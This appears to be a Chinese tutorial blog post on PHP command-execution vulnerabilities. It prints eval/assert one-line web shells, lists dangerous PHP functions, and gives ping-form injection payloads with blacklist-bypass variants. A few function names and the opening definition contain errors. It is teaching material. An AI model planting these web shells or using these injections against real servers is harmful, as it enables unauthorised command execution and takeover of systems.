命令执行漏洞

命令执行漏洞

命令执行漏洞简介

  • 原理

应用对用户输入做严格得检查过滤,导致用户输入得参数被当成命令来执行。

  • 危害

    1. 继承Web服务程序的权限去执行系统命令或读写文件

    2. 反弹shell,获得目标服务器的权限

    3. 进一步内网渗透

  • 远程代码执行

    因为业务需求,在PHP中有时需要调用一些执行命令的函数,如: eval() 、assert() 、 preg_replace() 、 create_function() 等,如果存在一个使用这些函数且未对可被用户控制的参数进行检查过滤的页面,那么这个页面就可能存在远程代码执行漏洞。

PHP代码执行函数

  1. eval

    eval(string $code)

    把字符串code作为PHP代码执行

  • <?php @eval($_POST['cmd']);?>

注意:eval() 函数传入的参数必须为PHP代码,即要以分号结尾;

函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。不要允许传入任何由用户提供的、未经完整验证过的数据 。

  1. assert

    assert ( mixed $assertion [, string $description ] )

    如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

  • <?php @assert($_POST['cmd'])?>

    检查一个断言是否为 FALSE

    注意:assert()函数是直接讲传入的参数当成PHP代码执行,不需要以分号结尾

系统命令执行

利用PHP 的系统命令执行函数来调用系统命令并执行,这类函数有 system()、
exec()、shell_exec()、passthru()、penti_exec()、popen()、proc_pen()等,此外还
有反引号命令执行,这种方式实际上是调用 shell_exec()函数来执行。

PHP系统命令执行函数

  1. system():执行外部程序,并且显示输出;
  2. exec():执行一个外部程序
  3. shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
  4. passthru():执行unix系统命令并且显示原始输出
  5. pcntl_exec():在当前进程空间执行指定程序
  6. popen():打开进程文件指针
  7. proc_open():执行一个命令,并且打开用来输入/输出的文件指针。
  • PHP提供4个专门的执行外部命令的函数:

    exec()

    system()

    passthru()

    shell_exec()

1.exec

exec ( string $command [, array &$output [, int &$return_var 
]] )

执行一个外部程序,exec() 执行 command 参数所指定的命令。

exec执行系统外部命令时不会输出结果,而是返回结果的最后一行。

2.system

system ( string $command [, int &$return_var ] )

函数执行 command 参数所指定的命令, 并且输出执行结果。

system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到浏览器,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。

命令执行常用特殊字符

cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:仅在cmd1执行成功后时才执行
cmd2$(cmd) :echo $(whoami) 或者 $(touch test.sh; echo 'ls' > 
test.sh)
'cmd':用于执行特定命令,如 'whoami'

命令执行漏洞的利用

例1

Ping :没有对用户输入的参数做过滤

  • 构造payload:

    127.0.0.1&&whoami

    127.0.0.1;whoami

    127.0.0.1|whoami

    test||whoami

    test&whoami

例2

Ping2 :黑名单机制,简单替换输入数据中的 && 和 ; 为空

  • 构造payload:

    127.0.0.1&;&whoami

    127.0.0.1|whoami

    test||whoami

    test|;|whoami

    test&whoami

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值